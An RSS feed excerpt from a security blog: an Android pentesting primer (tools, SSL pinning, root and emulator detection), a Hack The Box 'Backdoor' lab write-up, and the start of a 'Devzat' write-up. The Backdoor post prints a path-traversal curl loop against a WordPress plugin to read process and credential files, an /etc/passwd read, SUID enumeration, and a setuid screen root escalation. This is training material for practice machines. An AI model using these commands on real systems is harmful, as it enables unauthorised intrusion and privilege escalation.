      <pubDate>Fri, 06 May 2022 15:26:39 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/start-with-android-pentest/</guid>
      <description>The basic tools &amp;amp; techniques to step into Android Penetration Testing</description>
      <content:encoded><![CDATA[<h2 id="i-introduction">I. Introduction</h2>
<p>Smartphone technologies have made undeniable strides during the last decade. You can find for yourself the mind-boggling statistics of that rapid growth in <a href="https://leftronic.com/blog/smartphone-usage-statistics/">this blog</a>.</p>
<p>
  <figure>
    <img src="/img/start-with-android-pentest/mobile-phone-internet-traffic.webp#center" alt="Mobile phone web traffic statistics in recent years">
    <figcaption>Mobile phone Internet traffic statistics</figcaption>
  </figure>

</p>
<p>With the dominance of this relatively new generation of Internet connected devices, it&rsquo;s vital to improve on its security aspects. Among them all, <strong>Android</strong> and <strong>IOS</strong> are the most popular systems. This blog post will guide you through the absolute fundamental installations and concepts of <em>Android pentest</em>.</p>
<h2 id="ii-android-pentest-preparation">II. Android Pentest preparation</h2>
<h3 id="1-get-a-device">1. Get a device</h3>
<p>No matter it&rsquo;s an emulator or a real device, first you have to set up one for testing purposes. Keep this only for testing - never put any sensitive information or application in it.</p>
<h4 id="-for-physical-devices">[*] For physical devices</h4>
<p>You will soon find out that there&rsquo;s not much you can do with a newly unboxed Android phone. Therefore, the absolute first step should be <a href="https://www.xda-developers.com/root/">rooting it</a>. The recommended tool is the open-source rooting software <a href="https://github.com/topjohnwu/Magisk">Magisk</a>.</p>
<div style="text-align: center;"><div class="github-card" data-github="topjohnwu/Magisk" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<p>You can find a quite detailed tutorial <a href="https://www.whiteoaksecurity.com/blog/2020-2-25-android-10-device-setup-for-penetration-testing/">in this blog</a>.</p>
<h4 id="-for-emulators">[*] For emulators</h4>
<p>You can use the basic <a href="https://developer.android.com/studio/run/emulator">Android Emulator in Android Studio</a>. On my machine (Linux), however, there&rsquo;s a memory leak issue that led to a restriction of 30 minutes of usage at most before whole system halt and required a forced reboot. Therefore, I switched to <a href="https://www.genymotion.com/">Genymotion</a>. Not open-source, but the smoothest emulating feeling I&rsquo;ve ever experienced.</p>
<p>You may also want to <a href="https://portswigger.net/support/installing-burp-suites-ca-certificate-in-an-android-device">install BURP cert on the device</a>, or maybe <a href="https://security.secure.force.com/security/tools/webapp/zapandroidsetup">ZAP certificate</a> if you&rsquo;re too broke or just prefer open-source.</p>
<div style="text-align: center;"><iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/tdjpgsL48Pw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Be it a physical device or an emulator, installing necessary Android tools is still a must. There&rsquo;re a few ways to do so, but the simplest method is to install <a href="https://developer.android.com/studio">Android Studio along with its SDK tools</a>.</p>
<h3 id="2-get-the-apk">2. Get the APK</h3>
<p>If you&rsquo;ve ever used an Android at least once, you probably have used <em><strong>APKs</strong></em>, or least heard about it.</p>
<blockquote>
<p><em>&ldquo;The Android Package with the file extension <code>apk</code> is the file format used by the Android operating system, and a number of other Android-based operating systems for distribution and installation of <strong>mobile apps, mobile games</strong> and <strong>middleware</strong>. It can be written in either <strong>Java</strong> or <strong>Kotlin</strong>.&rdquo;</em></p></blockquote>
<blockquote>
<p>~ From <a href="https://en.wikipedia.org/wiki/Apk_%28file_format%29">Wikipedia</a> ~</p></blockquote>
<p>For more information, see this comprehensive <em><a href="https://fileinfo.com/extension/apk">fileinfo explanation</a></em>.</p>
<p>Here&rsquo;s a list of most famous 3rd party APK repositories that you can find:</p>
<ul>
<li>
<p><a href="https://apkpure.com">apkpure.com</a>: the largest APK library. The apps themselves are verified to be the same as on <strong>PlayStore</strong>. The <em><strong>apkpure app</strong></em>, however, once alleged for <a href="https://www.kaspersky.com/blog/infected-apkpure/39273/">being infected by trojan</a>. The problem seems to be fixed now, and APKPure is now my go-to place when finding a new APK.

  <img src="/img/start-with-android-pentest/apkpure.webp#center" alt="apkpure">

</p>
</li>
<li>
<p><a href="https://www.apkmirror.com/">apkmirror.com</a>: As its name, it mirrors, which means it&rsquo;s generally safe. Still, its APK library isn&rsquo;t as large as APKPure.<br>

  <img src="/img/start-with-android-pentest/apkmirror.webp#center" alt="apkmirror">

</p>
</li>
</ul>
<p>And some other locations:</p>
<ul>
<li>
<p><a href="https://aptoide.en.aptoide.com/app">aptoide.en.aptoide.com</a>:

  <img src="/img/start-with-android-pentest/aptoide.webp#center" alt="aptoide">

</p>
</li>
<li>
<p><a href="https://en.uptodown.com/android">uptodown.com/android</a>:

  <img src="/img/start-with-android-pentest/uptodown.webp#center" alt="uptodown">

</p>
</li>
<li>
<p>And <a href="https://apps.evozi.com/apk-downloader/">evozi</a> to download directly from <strong>PlayStore</strong>.</p>
</li>
</ul>
<h3 id="4-apk-decompiling-tools">4. APK decompiling tools</h3>
<p>Any <code>apk</code> is actually a valid <code>zip</code> file, so you can just change its extension to <code>.zip</code> and unzip it using <em>7zip</em> or anything. However, there are specialized tools for working with APKs, with remarkable support in reverse engineering.</p>
<ul>
<li><a href="https://ibotpeaches.github.io/Apktool/install/">APKtool</a>: Might be hard to install for beginners, but it&rsquo;s the tool of the trade for APK RE</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="iBotPeaches/Apktool" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<ul>
<li><a href="https://github.com/skylot/jadx">jadx, along with jadx-gui</a>: <em>the</em> legendary Java decompiler. Now with GUI for more intuitive usage</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="skylot/jadx" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<ul>
<li><a href="https://apklab.surendrajat.xyz/">APKLab</a>: My favourite all-in-one tool as a VSCode extension for all your needs</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="APKLab/APKLab" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<h3 id="3-static-analysis-tools">3. Static analysis tools</h3>
<p><em>&ldquo;Static analysis&rdquo;</em>, as the name suggests, is the process of examining the application while not run it. It&rsquo;s the preferred method against source code and most malwares. There&rsquo;s also a number of helpful tools assisting researchers in this process:</p>
<ul>
<li><a href="https://mobsf.github.io/docs/#/">Mobile Security Framework</a>: All-in-one mobile application testing framework, capable of doing both static and dynamic analysis</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="MobSF/Mobile-Security-Framework-MobSF" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<ul>
<li>
<p><a href="https://github.com/mpast/mobileAudit">MobileAudit</a>: Performs static analysis with a nice web interface (written in Django).
<div style="text-align: center;"><div class="github-card" data-github="mpast/mobileAudit" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div></p>
</li>
<li>
<p><a href="http://apk-deguard.com/">apk-deguard</a>: deobfuscating apk files on the web

  <img src="/img/start-with-android-pentest/deguard.webp#center" alt="deguard">

</p>
</li>
<li>
<p><a href="https://github.com/Gyoonus/deoptfuscator">deoptfuscator</a>: Local code deobfuscator, stands out for its control flow graph</p>
</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="Gyoonus/deoptfuscator" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<h3 id="4-dynamic-analysis-tools">4. Dynamic analysis tools</h3>
<p>Opposite to static analysis, <em><strong>dynamic analysis</strong></em> is the act of analyzing the application <em>while it is running</em>. This is the conventional procedure for testing most applications. As usual, there are lots of tools aiding in the research:</p>
<ul>
<li>
<p>Honorary re-mention: the <a href="https://mobsf.github.io/docs/#/">Mobile Security Framework</a>

  <img src="/img/start-with-android-pentest/mobsf.webp#center" alt="Mobile Security Framework tool">

</p>
</li>
<li>
<p><a href="https://github.com/linkedin/qark">qark</a>: A tool from LinkedIn the company. It&rsquo;s extremely easy to use, work with common Android app exploits and can work on unrooted devices</p>
</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="linkedin/qark" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<ul>
<li><a href="https://frida.re/">frida</a>: Basically, it&rsquo;s <em>the</em> tool for highly complex android app testing, capable of doing an overwhelming number of things, and is scriptable</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="frida/frida" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<ul>
<li><a href="https://github.com/sensepost/objection">objection</a>: built upon Frida, mostly for SSL unpinning</li>
</ul>
<div style="text-align: center;"><div class="github-card" data-github="sensepost/objection" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<h2 id="iii-common-pre-pentest-problems">III. Common pre-pentest problems</h2>
<h3 id="1-ssl-pinning">1. SSL Pinning</h3>
<p>
  <img src="/img/start-with-android-pentest/ssl.webp#center" alt="How SSL works">


If you want to know details about SSL certificates, here&rsquo;s an article worth reading: <a href="https://medium.com/@appinventivinsider/how-to-bypass-ios-ssl-pinning-7a65ea149e69">https://medium.com/@appinventivinsider/how-to-bypass-ios-ssl-pinning-7a65ea149e69</a></p>
<p>But to keep it short:</p>
<blockquote>
<p>When a mobile app communicates with a server, it uses <em><strong>SSL</strong></em> for protecting the transmitted data against tampering and eavesdropping. On a default mode, the SSL implementations used in the apps trust any server having certificates trusted by an operating system’s trust store.</p></blockquote>
<blockquote>
<p>With SSL pinning, the app is devised to reject every but one or limited predefined certificates. When the app connects with a server, it compares the certificate with the pinned certificate. Only when there is a match, the server is trusted and SSL connection gets established.</p></blockquote>
<p>Basically there&rsquo;re 3 types of pinning:</p>
<ul>
<li>Certificate pinning</li>
<li>Public key pinning</li>
<li>SPKI pinning</li>
</ul>
<p>Bypassing SSL pinning is trivial in most cases. Normally you can go with the Frida and <a href="https://portswigger.net/support/installing-burp-suites-ca-certificate-in-an-android-device">Burp&rsquo;s CA Certificate</a> route.</p>
<h3 id="2-anti-vm">2. Anti VM</h3>
<p>Pentesting on emulator is my overall preferred choice: in the matter of few clicks, you can instantly get for yourself an emulator of any Android version. The most popular emulator is, no doubt, <a href="https://www.genymotion.com/">Genymotion</a>.</p>
<p><a href="https://www.genymotion.com/">
  <img src="/img/start-with-android-pentest/genymotion.webp#center" alt="Genymotion">

</a></p>
<p>Actually for most professional pentesters, this is but a matter, because they mainly utilize a real device. On the other hand, although we have just started out, reversing the app to remove the detection should not be excessively difficult.</p>
<p>The ways applications use to detect an emulator are multivarious by itself. This is an example:</p>
<p>
  <img src="/img/start-with-android-pentest/emu-detect-example.webp#center" alt="Android emulator detecting function example">

</p>
<p>Simply modify all the strings and this function will be rendered harmless.</p>
<h3 id="3-root-detection">3. Root detection</h3>
<p>While VM detection can be avoided with ease using a real device, the same thing can not be said for root detection. No matter it&rsquo;s a physical device or an emulator, having it rooted is a must as it concerns many problems in the process of pentesting.</p>
<p>Here we have a fundamental script to detect root in 3 different ways:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#75715e">/** @author Kevin Kowalewski */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">RootUtil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">boolean</span> <span style="color:#a6e22e">isDeviceRooted</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> checkRootMethod1() <span style="color:#f92672">||</span> checkRootMethod2() <span style="color:#f92672">||</span> checkRootMethod3();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">boolean</span> <span style="color:#a6e22e">checkRootMethod1</span>() {
</span></span><span style="display:flex;"><span>        String buildTags <span style="color:#f92672">=</span> android.<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Build</span>.<span style="color:#a6e22e">TAGS</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> buildTags <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">&amp;&amp;</span> buildTags.<span style="color:#a6e22e">contains</span>(<span style="color:#e6db74">&#34;test-keys&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">boolean</span> <span style="color:#a6e22e">checkRootMethod2</span>() {
</span></span><span style="display:flex;"><span>        String<span style="color:#f92672">[]</span> paths <span style="color:#f92672">=</span> { <span style="color:#e6db74">&#34;/system/app/Superuser.apk&#34;</span>, <span style="color:#e6db74">&#34;/sbin/su&#34;</span>, <span style="color:#e6db74">&#34;/system/bin/su&#34;</span>, <span style="color:#e6db74">&#34;/system/xbin/su&#34;</span>, <span style="color:#e6db74">&#34;/data/local/xbin/su&#34;</span>, <span style="color:#e6db74">&#34;/data/local/bin/su&#34;</span>, <span style="color:#e6db74">&#34;/system/sd/xbin/su&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;/system/bin/failsafe/su&#34;</span>, <span style="color:#e6db74">&#34;/data/local/su&#34;</span>, <span style="color:#e6db74">&#34;/su/bin/su&#34;</span>};
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (String path : paths) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">new</span> File(path).<span style="color:#a6e22e">exists</span>()) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">boolean</span> <span style="color:#a6e22e">checkRootMethod3</span>() {
</span></span><span style="display:flex;"><span>        Process process <span style="color:#f92672">=</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            process <span style="color:#f92672">=</span> Runtime.<span style="color:#a6e22e">getRuntime</span>().<span style="color:#a6e22e">exec</span>(<span style="color:#66d9ef">new</span> String<span style="color:#f92672">[]</span> { <span style="color:#e6db74">&#34;/system/xbin/which&#34;</span>, <span style="color:#e6db74">&#34;su&#34;</span> });
</span></span><span style="display:flex;"><span>            BufferedReader in <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> BufferedReader(<span style="color:#66d9ef">new</span> InputStreamReader(process.<span style="color:#a6e22e">getInputStream</span>()));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (in.<span style="color:#a6e22e">readLine</span>() <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>) <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (Throwable t) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">finally</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (process <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>) process.<span style="color:#a6e22e">destroy</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And several other methods and packages support root detection.</p>
<p>A common practice is to review the source code and modify them as needed. There&rsquo;re also plenty of tutorials on bypassing root detection.</p>
<h3 id="4-code-obsfucation">4. Code obsfucation</h3>
<p>Nothing much can be said about this. Remember those nightmare codes your colleagues showed you that looked just like it had been obsfucated? What did you do with them? In any case, just apply the exact same strategy with this one.</p>
<p>Indeed, there&rsquo;re tools to support deobsfucating code. But in my opinion, those usually doesn&rsquo;t help much, and for the most part you just grin and bear it.</p>
<p>
  <img src="/img/start-with-android-pentest/obsfucated.webp#center" alt="obsfucated code">

</p>
<h2 id="iv-where-to-go-now">IV. Where to go now?</h2>
<p>There&rsquo;re several guides on mobile pentesting on the Internet. In my experience, this is the most exhaustive one: <a href="https://mobile-security.gitbook.io/mobile-security-testing-guide/">https://mobile-security.gitbook.io/mobile-security-testing-guide/</a>.</p>
<p>And as with any other topic, there&rsquo;re an <a href="https://github.com/saeidshirazi/awesome-android-security">awesome repository for it</a>.</p>
<div style="text-align: center;"><div class="github-card" data-github="saeidshirazi/awesome-android-security" data-width="400" data-height="150" data-theme="default"></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script></div>
<p>And that&rsquo;s about all the fundamentals to get your feet wet in Android penetration testing. As a final word, I wish you the best on your learning journey ahead!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Backdoor</title>
      <link>https://www.akihakune.com/blog/backdoor/</link>
      <pubDate>Thu, 21 Apr 2022 11:56:40 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/backdoor/</guid>
      <description>Utilize several recon techniques to find backdoors on an already pwned system</description>
      <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>Welcome to <strong>Backdoor</strong> machine from <span style="color: #9FEF00;"><strong>Hack The Box</strong></span>! This machine contains <em>backdoors</em> which are probably left behind by a previous (imaginary) attacker. Our task was to simply conduct recons, recons and recons until we find those useful software backdoors and root the box.</p>
<h2 id="i-enumeration--user-flag">I. Enumeration &amp; User flag</h2>
<span style="color: #696969;">tl;dr: After some scans, we found a <em><strong>LFI</strong></em> vulnerability in an outdated <strong>Wordpress</strong> plugin, allowed us to bruteforce <code>/proc</code> directory, then attack the abnormal service on <strong>port 1337</strong></span>
<br/>
<h3 id="1-initial-scan">1. Initial scan</h3>
<p>As per usual, we start with a port scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Mon Dec  6 19:33:51 2021 as: nmap -sC -sV -oN nmap.txt 10.10.11.125</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.11.125
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.51s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">3072</span> b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp open  http    Apache httpd 2.4.41 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.41 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-generator: WordPress 5.8.1
</span></span><span style="display:flex;"><span>|_http-title: Backdoor &amp;<span style="color:#75715e">#8211; Real-Life</span>
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>1337/tcp open  tcpwrapped 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Mon Dec  6 19:35:00 2021 -- 1 IP address (1 host up) scanned in 68.59 seconds</span>
</span></span></code></pre></div><p>To sum it up by a meme:

  <img src="/img/backdoor/daring-meme.webp#center" alt="port scan result summed up by a meme">

</p>
<p>In case you haven&rsquo;t noticed, port 80 was running a <strong><code>Wordpress</code></strong> site with a very specific version. Looking up for exploits of that version, however, yielded no useful result.</p>
<p>
  <img src="/img/backdoor/searchsploit-wpversion.webp#center" alt="Searchsploit result for Wordpress version">

</p>
<p>Therefore, let&rsquo;s open it up in a web browser!</p>
<p>
  <img src="/img/backdoor/landing-page.webp#center" alt="port 80 landing page">

</p>
<h3 id="2-wordpress-attack">2. Wordpress Attack</h3>
<p>It&rsquo;s a typical Wordpress site overall - nothing specifically caught my interest, apart from one thing - the comment function.</p>
<p>
  <img src="/img/backdoor/comment-function.webp#center" alt="the comment section in posts">

</p>
<p>I won&rsquo;t go into the details, as this attack vector led me nowhere. But in short, I <em>kind of</em> found something like an <a href="https://portswigger.net/web-security/access-control/idor"><strong>IDOR</strong></a> vulnerability. The comments, on the other hand, has been carefully pre-processed to strip all possible <a href="https://portswigger.net/web-security/cross-site-scripting">HTML tags and Javascript</a> away.</p>
<p>While I was beating my head against a wall, a <a href="https://github.com/wpscanteam/wpscan"><em><strong>wpscan</strong></em></a> enumeration I set up earlier returned with some gold mines <em>(You must first have a wpscan API token, or else wpscan won&rsquo;t tell you anything. A free one is fine)</em>.</p>
<p>Basically, there&rsquo;s a <a href="https://portswigger.net/kb/issues/00600100_directory-listing"><strong>directory listing</strong></a> at <strong><code>/wp-content/plugins</code></strong>.</p>
<p>
  <img src="/img/backdoor/plugins.webp#center" alt="Directory listing for plugins">

</p>
<p>Browsing those files got me nowhere, but a quick <em><strong>searchsploit</strong></em> look up did.</p>
<p>
  <img src="/img/backdoor/ebook-vuln.webp#center" alt="Searchsploit result for ebook folder">

</p>
<h3 id="3-get-in-the-system">3. Get in the system</h3>
<p>I went with the POC, and it turned out to be a simple <a href="https://portswigger.net/web-security/file-path-traversal"><em><strong>directory traversal</strong></em></a> vulnerability that provided us with reading access to some files.</p>
<p>
  <img src="/img/backdoor/ebook-poc.webp#center" alt="Directory traversal vulnerability in Wordpress site">

</p>
<p>The machine was, indeed, vulnerable to this POC, as we were able to read <strong><code>/etc/passwd</code></strong> file with ease.</p>
<p>
  <img src="/img/backdoor/passwd.webp#center" alt="Use directory traversal to read /etc/passwd file">

</p>
<p>As you can see, the only <em>real</em> user, apart from <strong><code>root</code></strong>, was <strong><code>user</code></strong> account. However, I couldn&rsquo;t retrieve the SSH key at <strong><code>/home/user/.ssh/id_rsa</code></strong> - was that because of insufficient privilege, or the file simply wasn&rsquo;t exist? Also, <strong><code>/home/user/user.txt</code></strong> couldn&rsquo;t be read as well.</p>
<p>Either way, I got stuck for a great while in this step, not knowing what to do with all low-level file read access in my hand, until I suddenly remembered that everything in Linux are files, even processes.</p>
<p>As such, here&rsquo;s a way to run <strong><code>ps aux</code></strong> <em>with extra steps</em> on the server.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in <span style="color:#f92672">{</span>0..100000<span style="color:#f92672">}</span>; <span style="color:#66d9ef">do</span> curl <span style="color:#e6db74">&#34;http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=https://www.akihakune.com/proc/</span>$i<span style="color:#e6db74">/cmdline&#34;</span> <span style="color:#f92672">&amp;&amp;</span> echo <span style="color:#e6db74">&#34;\n\n\n&#34;</span>; <span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p>Now that I&rsquo;m writing this write-up, I&rsquo;ve just realized that it would have been so much easier to fuzz it with <strong><code>wfuzz</code></strong> or any fuzzer. Nonetheless, it worked, and some novel results actually showed up, particularly this one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/proc/825/cmdline/proc/825/cmdline/proc/825/cmdline/bin/sh -c <span style="color:#66d9ef">while</span> true;<span style="color:#66d9ef">do</span> su user -c <span style="color:#e6db74">&#34;cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;&#34;</span>;
</span></span></code></pre></div><p>Thus, we found out that the strange service running on port 1337 earlier was a <strong><code>gdbserver</code></strong>. What&rsquo;s left was to exploit it, and you can find a working POC of a RCE vulnerability <a href="https://www.exploit-db.com/exploits/50539">right on exploit-db</a>!</p>
<p>Upon loggin into the server, we got <code>user.txt</code> flag.</p>
<h2 id="ii-privilege-escalation">II. Privilege Escalation</h2>
<span style="color: #696969;">tl;dr: Abuse a Setuid binary to get <em><strong>root</strong></em></span>
<br/>
<p>Having stablized our shell, now onto the task of escalating to root access.</p>
<p>This is one of the first commands I usually run on a Linux machine after getting a shell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -type f -perm -u<span style="color:#f92672">=</span>s 2&gt;/dev/null <span style="color:#75715e"># find all setuid files</span>
</span></span></code></pre></div><p>Everything looked normal, except this one:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/usr/bin/screen
</span></span></code></pre></div><p>For those who didn&rsquo;t know, <strong><code>screen</code></strong>, or <strong><code>GNU screen</code></strong>, is a terminal multiplexer that can detach from and attach to terminal sessions. Once a session is initiated, it will be run with that user&rsquo;s privilege, and continue running until an user explicitly tell it to exit.</p>
<p>As the <strong><code>screen</code></strong> binary this time is <a href="https://en.wikipedia.org/wiki/Setuid">setuid to root</a>, we had the permission to get a root terminal session right off the bat.</p>
<pre tabindex="0"><code>user@Backdoor:~$ screen -x root/root
root@Backdoor:# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre><p>Simple as that, we owned the box.</p>
<p>Since we put nothing on the server, the house cleaning part was also not necessary.</p>
<h2 id="iii-patch">III. Patch</h2>
<p>Dear imaginary sysadmin, please update your softwares and set the right permission for binaries. Thanks for your attention.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hack The Box - Devzat</title>
      <link>https://www.akihakune.com/blog/devzat/</link>
      <pubDate>Tue, 15 Mar 2022 11:01:06 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/devzat/</guid>
      <description>Multi-exploit chain to get root on a Go application</description>
      <content:encoded><![CDATA[<h2 id="overview">Overview</h2>
<p>Welcome to <strong>Devzat</strong> machine from <span style="color: #9FEF00;"><strong>Hack The Box</strong></span>! The general theme of this machine is only <a href="https://go.dev/">Golang</a> code exploitation, with a tip here and a trick there - nothing special in particular.</p>
<p>We&rsquo;re going to have lots to cover, so let&rsquo;s get going.</p>
<h2 id="i-reconnaisance">I. Reconnaisance</h2>
<h3 id="1-port-scan">1. Port scan</h3>
<span style="color: #696969;">tl;dr: Do <strong>port scan</strong>, check the opening services.</span>
<br/>
<p>Before start with a port scan, I tried to open the address in a browser first:</p>
<p>
  <figure>
    <img src="/img/devzat/recon/init-on-browser.png#center" alt="">
    <figcaption>It redirected us to <em><strong>devzat.htb</strong></em></figcaption>
  </figure>

</p>
<p>So let&rsquo;s add this line to our <code>/etc/hosts</code> file real quick:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.10.11.118    devzat.htb
</span></span></code></pre></div><p>And run the port scan.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Sun Feb 27 03:27:07 2022 as: nmap -sC -sV -oN nmap-rescan-after-add-hosts.txt devzat.htb</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> devzat.htb <span style="color:#f92672">(</span>10.10.11.118<span style="color:#f92672">)</span>
